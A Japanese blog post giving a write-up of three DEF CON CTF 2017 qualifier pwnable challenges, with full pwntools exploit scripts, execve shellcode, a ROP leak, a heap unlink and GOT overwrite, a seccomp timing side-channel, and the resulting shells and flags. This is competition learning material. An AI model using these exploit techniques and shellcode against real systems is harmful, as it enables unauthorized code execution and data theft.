読者です 読者をやめる 読者になる 読者になる

ヾノ*>ㅅ<)ノシ帳

技術ブログに見せかけて、ジャンル制限のないふりーだむなブログです。

DEF CON CTF 2017 Quals - smashme, beatmeonthedl, mute の 簡易Writeup

TomoriNaoでDEF CON CTF 2017 Quals(2017/4/28 9:00 JST - 2017/5/1 9:00 JST;48時間)に出ていました。 チームのSlackには私しかいなくて、ただただ寂しかったです。

TomoriNaoは 126 pts. で 122位 でした。

f:id:katc:20170501130549p:plain

簡易Writeupと称して簡単なバイナリの挙動の解説・アプローチを書いて、エクスプロイトコード・結果を貼っておきます。 生々しさのためにコードはきれいにしてません。

解いたのは下の3つです。100点submitを目標にしていたので満足です。

  • Baby’s First - smashme (TODO pts.)
  • Baby’s First - beatmeonthedl (TODO pts.)
  • Potent Pwnables - mute (TODO pts.)

smashme

バイナリの挙動

  • BOF(stack smashing)させてくれる

アプローチ

  1. ROPによりinformation leak
  2. main呼び出し
  3. shellcode送信
  4. shellcode呼び出し

shellcodeはshellstormにあるやつで十分です。rwxな領域(スタック)にペイロードが置かれますので。

information leakフェーズでは、bssにある変数Xをうまいこと見つけてputs(X)すればいいです。 bssの変数にこだわったのはアドレスが既知だからです。 今回はenvironという謎変数を使いました。

リモートの環境はUbuntu 14.04 LTSだということをエスパーで予見しないと調整が難しいかもしれません。

エクスプロイトコード

コードを振り返っているとすんなりいかない部分があったことが思い出されますが、なんでこんな書き方をしたのか全然覚えてませんorz

from pwn import *
from sys import argv

BIN = "./smashme"
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# http://shell-storm.org/shellcode/files/shellcode-603.php
# shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05"

# shellcode = "\x48\x89\xEC" + shellcode              # mov    rsp,rbp 
shellcode = "\x48\x89\xE5" + shellcode              # mov    rbp,rsp 
# shellcode = "\x48\x83\xEC\xf0" + shellcode          # sub    rsp, N
shellcode = "\x48\x83\xC4\x40" + shellcode          # sub    rsp, N

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True

r = None
offset = {}
if REMOTE:
    r = remote("smashme_omgbabysfirst.quals.shallweplayaga.me", 57348)
else:
    r = process(BIN)

prefix = "Smash me outside, how bout dAAAAAAAAAAA"
payload = prefix + shellcode.ljust(33, "\x90") + p64(0x6d0c30+7)
# payload = prefix + shellcode + "\x90" * 3 + p64(0x7fffffffe1f0 + 7)
with open("payload", "w") as f:
    f.write(payload)
# if not REMOTE:
#     exit()

# context.log_level = 'debug'

# if not REMOTE:
#     r.sendline("")
print r.recvline()

# bp()

# bss_stdin = 0x6c9748
# bss_obj = 0x6cc238 # 0x6cc238 <_dl_sysinfo_map>: 0x00000000006ce210
bss_environ = 0x6cb640

# addr_push_rsp_ret = 0x0044611d
addr_pop_rdi_ret = 0x00401942
addr_puts = 0x40fca0
addr_main = 0x4009ae
rop_chain = [
    p64(addr_pop_rdi_ret),
    p64(bss_environ),
    # p64(0x4a06d8), 
    p64(addr_puts),
    p64(addr_main),
]
r.sendline(prefix + "".ljust(33, "\x90") + ''.join(rop_chain))
# if not REMOTE:
#     r.sendline("")
#     r.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n")
# res = r.recvline().replace('\n', '')
res = r.recv(6)
addr = u64(res.ljust(8, '\0'))
print "addr = %#x" % addr
shellcode_addr = addr + (0x7fffffffe297 - 0x00007fffffffe408) + 0x20
print "shellcode addr = %#x" % shellcode_addr
# r.interactive()
r.recvline()

bp()

payload = prefix + shellcode.ljust(33, "\x90") + p64(shellcode_addr)
r.sendline(payload)
# r.sendline("ls")

r.interactive()

結果

vagrant@vagrant-ubuntu-trusty-64:/vagrant$ python smashme.py r
[+] Opening connection to smashme_omgbabysfirst.quals.shallweplayaga.me on port 57348: Done
Welcome to the Dr. Phil Show. Wanna smash?

addr = 0x7fff7dbc8508
shellcode addr = 0x7fff7dbc83b7
[*] Switching to interactive mode
Welcome to the Dr. Phil Show. Wanna smash?
$ ls
flag
smashme
$ cat flag
The flag is: You must be at least this tall to play DEF CON CTF 5b43e02608d66dca6144aaec956ec68d

beatmeonthedl

バイナリの挙動

  • mallocのチャンクへのポインタのテーブルがbssに置かれる
    • チャンクの中にはポインタがないのでポインタテーブルをいじるっ問題ぽい
  • チャンクサイズが0x40に対して0x80バイトの書き込みが可能(自明なヒープBOF
  • コンパイル条件的にGOT Overwrite可能
  • スタックが実行可能(wrx

アプローチ

  • Ubuntu 14.04だから古いlibc固有の脆弱性が使える?(←よく知らん)とか考えて、katagaitaiの第1回の資料を見ていたら、Unlink Attackが使えそうなヒープの構造と分かった
    • 実際は最新Arch Linuxglibc 2.25-1)でも下のエクスプロイトコードは動くので半分間違ってる
    • あとは★参照
  • information leak:スタックの何らかのアドレスは、loginの"Invalid user"のエラーメッセージでリークできる
  • ポインタのテーブルを書き換えて、任意のメモリ書き換えを実現
  • 実行可能領域であるスタック(wrx)にshellcodeを書き込む
  • GOT Overwrite→shellcode呼び出し(今回はputsを犠牲にした)

別記★

  1. 直上のチャンク(Xとする)は使用中なのに、それに隣接したprev inuseビットを消したチャンク(Yとする)をfreeする
  2. consolidateが働いたときに(たぶん)、「Xの0〜8バイト(fd)の値+0x18」のアドレスの内容を「Xの8〜16バイトの値(bk)」で上書きできる

エクスプロイトコード

from pwn import *
from sys import argv
from time import sleep

BIN = "./beatmeonthedl"
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# http://shell-storm.org/shellcode/files/shellcode-603.php
# shellcode = "\x48\x31\xd2" + "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" +"\x48\xc1\xeb\x08" + "\x53" + "\x48\x89\xe7" + "\x50""\x57" + "\x48\x89\xe6" + "\xb0\x3b" + "\x0f\x05"

syscall_exit_1 = "\x6A\x3C\x58\x6A\x01\x5F\x0F\x05"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
SOCAT = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True
    if argv[1] == "r":
        SOCAT = True

r = None
offset = {}
if REMOTE:
    r = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me", 6969)
elif SOCAT:
    r = remote("localhost", 6969)
else:
    r = process(BIN)

"""menu
I) Request Exploit.
II) Print Requests.
III) Delete Request.
IV) Change Request.
V) Go Away.
"""

def request(text):
    r.sendline('1')
    r.send(text)
    res = r.recvline()
    if "[-] Request list full" in res:
        log.warn(res)
        r.recvuntil('| ')
        return False
    r.recvuntil('| ')
    return True

def print_req():
    r.sendline('2')
    res = r.recvuntil('| ')
    req = []
    for x in res.split('\n'):
        if len(x) > 1:
            if x[0] in "0123456789":
                no, data = x.split(')')[:3]
                data = data[1:]
                req.append((no, data))
    return req

def delete(no):
    r.sendline('3')
    r.sendline("%d" % no)
    # print r.recvuntil('| ')

def change(no, text):
    r.sendline('4')
    r.sendline("%d" % no)
    if len(text) > 0x80:
        log.fatal("too log data")
    r.recvuntil("data: ")
    r.send(text)
    r.recvuntil('| ')

patt = 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'

r.sendline(patt[:40])
r.recvuntil("Invalid user: ")
res = r.recvline().strip()[-6:]
addr = u64(res.ljust(8, '\x00'))
log.info("leaked addr = %#x" % addr)
mapped_base_addr = (addr - 0x1f000) & ~0xfff
if REMOTE and len(argv) == 3:
    mapped_base_addr += int(argv[2], 16) * 0x1000
    log.info("arrange offset = %#x" % int(argv[2], 16))
log.info("mapped_base_addr = %#x" % mapped_base_addr)

r.recvuntil('Enter username: ')
r.sendline('mcfly')
r.recvuntil('Enter Pass: ')
r.sendline('awesnap')

r.recvuntil('| ')


# for i in range(32):
# for i in range(4):
for i in range(2):
    # succ = request(chr(97 + i) * (0x80))
    succ = request(chr(97 + i) * (0x10))
    if not succ:
        break

# list_ptr = 0x609e80
# 0 0x60a030 
# 1 0x60a070
# 2 0x60a0b0
# 3 0x60a0f0

print print_req()

### 2
request(syscall_exit_1.ljust(0x10 - 5, "\x90") + "\xe9\x08\x00\x00\x00" + "\x90" * 0x10 + shellcode)

# context.log_level = 'debug'

### 3
request("c" * 0x10)
### 4
request("d" * 0x10)

# mapped_base_addr = 0x00007ffffffde000
ptr_reqlist = 0x609e80

#### reqlist[2] = mapped_base_addr
change(3, (p64(ptr_reqlist + 0x8 * 2 - 0x18) + p64(mapped_base_addr) + "XXXX").ljust(0x30, "\x90") + ''.join([
    p64(0x40),            # prev_size
    p64(0x42),            # size
    ]))
delete(4)
log.info("reqlist[2] has overwriten")
bp()

sleep(1)

# context.log_level = 'debug'
change(2, ("\x48\xBF" + p64(mapped_base_addr + 0x40)[:6] + "\x00\x00\x57\xC3").ljust(0x40, "\x90") + shellcode)
log.info("injected shellcode to reqlist[2]")
bp()

main_addr = 0x40123c
heap_base_addr = 0x0060a000
plt_got = {"puts": 0x609958}
shellcode_addr = mapped_base_addr
log.info("shellcode addr = %#x" % shellcode_addr)
assert(shellcode_addr & 0x00007ff000000000 == 0x00007ff000000000)

log.info("change(0, ...)")
change(0, (p64(plt_got["puts"] - 0x18) + p64(shellcode_addr + 0)).ljust(0x30, "\x90") + ''.join([
    p64(0x40),            # prev_size
    p64(0x42),            # size
    ]))

log.info("=== [got overwrite] ===")
log.info("delete(1)")
bp()
r.sendline("3")
r.sendline("1")


# context.log_level = 'debug'

r.interactive()

結果

K_atc% python2 beatmeonthedl.py r
[+] Opening connection to beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me on port 6969: Done
[*] leaked addr = 0x7ffe3b12a4b0
[*] mapped_base_addr = 0x7ffe3b10b000
[('0', 'aaaaaaaaaaaaaaaa'), ('1', 'bbbbbbbbbbbbbbbb')]
[*] reqlist[2] has overwriten
[*] injected shellcode to reqlist[2]
[*] shellcode addr = 0x7ffe3b10b000
[*] change(0, ...)
[*] === [got overwrite] ===
[*] delete(1)
[*] Switching to interactive mode
0) @\x99`
1) bbbbbbbbbbbbbbbb
2) H\xbf@\xb0\x10;\xfe\x7f
3) x\x9e`
choice: $ ls
beatmeonthedl
flag
$ cat flag
The flag is: 3asy p33zy h3ap hacking!!

mute

バイナリの挙動

  • シェルコードをmappedされた領域に置いて call rdx で呼び出してくれる親切設計
  • seccompを使用したサンドボックス
    • 下のような感じで、そこに併記したシステムコールだけが許可されている(面倒なのでltraceから推測)
  • パケットのペイロードが来る度に、先頭アドレスから書き込むような挙動をする。0x100ごとに繰り返し送ると動く
seccomp_init(0, 0x7ffff7bb99e0, 0, -1)       = 0x602010
seccomp_arch_add(0x602010, 0xc000003e, 0x602060, 1) = 0xffffffef
seccomp_rule_add(0x602010, 0x7fff0000, 0, 0) = 0        read
seccomp_rule_add(0x602010, 0x7fff0000, 2, 0) = 0        open
seccomp_rule_add(0x602010, 0x7fff0000, 3, 0) = 0        close
seccomp_rule_add(0x602010, 0x7fff0000, 4, 0) = 0        stat
seccomp_rule_add(0x602010, 0x7fff0000, 5, 0) = 0        fstat
seccomp_rule_add(0x602010, 0x7fff0000, 6, 0) = 0        lstat
seccomp_rule_add(0x602010, 0x7fff0000, 7, 0) = 0        poll
seccomp_rule_add(0x602010, 0x7fff0000, 8, 0) = 0        lseek
seccomp_rule_add(0x602010, 0x7fff0000, 9, 0) = 0        mmap
seccomp_rule_add(0x602010, 0x7fff0000, 10, 0) = 0       mprotect
seccomp_rule_add(0x602010, 0x7fff0000, 11, 0) = 0       mumap
seccomp_rule_add(0x602010, 0x7fff0000, 12, 0) = 0       brk
seccomp_rule_add(0x602010, 0x7fff0000, 59, 0) = 0       execve
seccomp_load(0x602010, 0, 0, 0)              = 0

アプローチ

  • writeができないので、動作をもとにflagを1ビットずつリークする
    • 朝5時にサーバーが空き始めてきれいに解けた!

エクスプロイトコード

アセンブリの通り。

/home/mute/flagをlseekを駆使して1ビットずつ読み出す。1だったら通信時間が長くなるようにループを実行する。

from pwn import *
from sys import argv
import os
import struct
import time

BIN = "./mute"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True

READ_OFFSET = "0"
BIT_MASK = "0xff"
if REMOTE and len(argv) > 2:
    READ_OFFSET = argv[2]
    BIT_MASK = argv[3]
if not REMOTE and len(argv) > 1:
    READ_OFFSET = argv[1]
    BIT_MASK = argv[2]

def leak(READ_OFFSET, BIT_MASK):
    global BIN
    
    log.info("READ_OFFSET = " + READ_OFFSET)
    log.info("BIT_MASK = " + BIT_MASK)

    r = None
    offset = {}
    if REMOTE:
        r = remote("mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me", 443)
    else:
        r = process(BIN)

    r.recvline()

    if REMOTE:
        LOOP_AMOUNT = "0x10000000"
    else:
        LOOP_AMOUNT = "0x100000000"

    shellcode = asm("""
        push 0x0
        mov rax, 0x67616c662f657475
        push rax
        mov rax, 0x6d2f656d6f682f2f
        push rax

        push rsp
        pop rdi
        mov rsi, 0
        mov rdx, 0
        mov rax, 2
        syscall

        push rax
        mov rdi, rax
        mov rsi, READ_OFFSET
        mov rdx, 0
        mov rax, 8
        syscall   

        pop rax
        mov rdi, rax
        mov rsi, 0x00601100
        mov rdx, 1
        mov rax, 0
        syscall
        
        mov rax, [0x00601100]
        and rax, BIT_MASK

        cmp rax, 0
        jg end
        mov rax, LOOP_AMOUNT
        loop:
        dec rax
        cmp rax, 0
        jne loop
        end:
        """.replace("READ_OFFSET", READ_OFFSET).replace("BIT_MASK", BIT_MASK).replace("LOOP_AMOUNT", LOOP_AMOUNT), arch = 'amd64', os = 'linux') 

    # bp()
    # context.log_level = 'debug'

    start_time = time.time()
    # r.send(shellcode.ljust(0x1000, "\x90"))
    for i in range(0x10):
        r.send(shellcode.ljust(0x100, "\x90"))

    try:
        r.recv(0x1000)
    except EOFError:
        end_time = time.time()
        elapsed_time = end_time - start_time
        log.info("Connection Closed")
        print "elapsed time = %f" % elapsed_time   
        r.close()
        return elapsed_time

LOG_FILE_NAME = "bit-%d.log"
if REMOTE:
    LOG_FILE_NAME = "r-"+LOG_FILE_NAME
else:
    LOG_FILE_NAME = "l-"+LOG_FILE_NAME
f = open(LOG_FILE_NAME % time.time(), "w")
for i in range(0x0, 0x90):
    for j in range(8):
        elapsed_time = leak(hex(i), hex(1 << j))
        f.write("%d, %d, %f\n" % (i, j, elapsed_time))
        f.flush()
        time.sleep(1)
f.close()

計測結果をフラグ化するスクリプト。フラグが思ったより長くてログを結合するはめに。

data = []
with open("r-bit-1493583250.log") as f:
    data = f.read().strip().split("\n")

with open("r-bit-1493584813.log") as f:
    data += f.read().strip().split("\n")

with open("r-bit-1493585321.log") as f:
    data += f.read().strip().split("\n")

flag = []
for i in range(0x90):
    flag.append(list("0b00000000"))

threthold = 0.5

for x in data:
    i, j, t = x.split(',')
    i, j, t = int(i), int(j), float(t)
    if t < threthold:
        flag[i][-(j+1)] = "1"

buf = ""
for i in range(0x90):
    # print ''.join(flag[i])
    d = int(''.join(flag[i]), 2)
    buf += chr(d & 0xff)
print buf

結果

vagrant@vagrant-ubuntu-trusty-64:/vagrant/mute$ python log2flag.py 
The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa

floatを解きたかったです。IEEE 754形式の32ビット浮動小数群が実行可能領域に格納されて、それを実行するキ○ガイな問題です。ゼロが入っちゃってどうすればいいのかよく分からなかったです。

手元で実行できないバイナリが配布される問題がいくつかあったんですけど、なんだったんですかね。

来年は200点ぐらいとりたいですねー。(果たしてどのチームで出ることになるのやら…)